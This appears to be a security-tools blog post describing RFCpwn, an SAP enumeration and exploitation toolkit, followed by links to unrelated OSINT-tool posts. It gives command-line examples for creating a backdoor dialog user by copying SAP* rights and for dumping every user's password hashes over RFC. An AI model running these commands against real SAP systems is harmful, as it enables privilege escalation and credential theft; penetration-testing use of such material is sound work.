RFCpwn : An Enumeration & Exploitation Toolkit Using RFC Calls To SAP

RFCpwn is an SAP enumeration and exploitation toolkit using SAP RFC calls. This is a toolkit for demonstrating the impact of compromised service accounts. This PoC is not for use in production environments, no guarantee of stability or support.

It relies on the pyrfc and the libraries provided by SAP in: https://github.com/SAP/PyRFC#installation

Also Read – AWS Report : Tool For Analyzing Amazon Resources

Examples

  • Ping – confirm connectivity

./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -ping

  • Copy a users rights into a new dialog user. If -copy is not specified SAP* is used.

./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -usercopy -user attacker -pw changeme1

  • Dump hashes from all users. option -exp for experimental bcode & passcode hashes.

./RFCpwn.py -ip 192.168.200.253 -s 00 -c 000 -u RFCUser -p RFCPass -dump

Demo

R K

Recent Posts

Tookie-osint : A Powerful Tool For OSINT Enthusiasts

Tookie-osint has a simple-to-use UI and is really straightforward. The main idea of Tookie-osint is…

7 hours ago

Roop : Empowering AI-Generated Media Responsibly

Be aware, the installation needs technical skills and is not for beginners. Please do not…

7 hours ago

Linux For OSINT. 21-Day : Mastering The Command Line For Beginners

The course is primarily intended for those who are professionally involved in or simply interested…

7 hours ago

Python For OSINT : A 21-Day Journey To Mastering Open Source Intelligence

Embark on a 21-day journey to harness the power of Python for Open Source Intelligence…

7 hours ago

Prying Deep – Unveiling The Depths Of The Web

I've seen multiple projects out there in GitHub, that are crawlers for the deep web,…

7 hours ago

OSINTk.o – Kali Linux Based ISO For OSINT Investigations.

OSINTk.o is a customized Kali Linux-based ISO image with pre-installed packages and scripts. The idea…

3 days ago